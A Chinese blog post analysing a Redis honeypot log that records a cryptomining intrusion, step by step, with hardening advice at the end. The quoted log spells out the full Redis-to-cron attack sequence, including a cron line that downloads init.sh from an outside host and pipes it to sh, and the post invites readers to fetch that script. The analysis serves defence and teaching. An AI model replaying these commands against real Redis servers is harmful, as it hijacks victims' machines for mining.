经常看到有人在linux下被植入挖矿病毒,而植入病毒的方式多种多样,但通过redis漏洞的方式却是经常见到的,根本原因是
系统管理者的
安全意识匮乏。
正好最近比较好奇,于是安装了一个redis蜜罐的捕获来展示如何通过漏洞来植入病毒。
话不多说,先上日志,咱们在来一步步分析。
复制代码 隐藏代码{ "
src_ip":
"8.136.106.190", "
command":
"config set stop-writes-on-bgsave-error no", "
dst_port":
6379}{ "
src_ip":
"8.136.106.190", "
command":
"flushall", "
dst_port":
6379}{ "
src_ip":
"8.136.106.190", "
command":
"config set dbfilename web", "
dst_port":
6379}{ "
src_ip":
"8.136.106.190", "
command":
"set 1 \n\n*/1 * * * * cdt -fsSL http://helpdeskserver.epelcdn.com/dd210131/init.sh |sh\n\n", "
dst_port":
6379}{ "
src_ip":
"8.136.106.190", "
command":
"config set dir /var/spool/cron", "
dst_port":
6379}{"
src_ip":
"8.136.106.190", "
command":
"save", "
dst_port":
6379}{ "
src_ip":
"8.136.106.190", "
command":
"config set dir /var/spool/cron/crontabs", "
dst_port":
6379}{"
src_ip":
"8.136.106.190", "
command":
"save", "
dst_port":
6379}{ "
src_ip":
"8.136.106.190", "
command":
"config set dir /etc/cron.d", "
dst_port":
6379}{ "
src_ip":
"8.136.106.190", "
command":
"save", "
dst_port":
6379}{ "
src_ip":
"8.136.106.190", "
command":
"config set stop-writes-on-bgsave-error yes", "
dst_port":
6379}
原始日志比这个更多,但这里的片段足够展示整个攻击流程。因为有些人可能对redis命令不熟悉,以下我将逐步的讲解以下流程
当以上操作都完成的时候,redis在触发备份机制后就会开始往上面设置好的目录写入计划任务的脚本而计划任务会在每分钟都去执行一次这个脚本并且触发下载病毒的机制。然后你的机器
CPU就会开始飙涨了。
如果大家有兴趣可以下载看下init.sh这个脚本,里面有剩余安装病毒的全过程,并且还有狗咬狗的去删除自己的竞争对手的机制。
总结:其实这个漏洞很封堵很简单,只要执行redis的用户没有权限往/var/spool下的目录能写入就能防止入侵。但由于很多人安装redis的时候都是从网上找了文章,启动的时候往往就是root用户直接执行,这样redis也就具有了root用户的权限。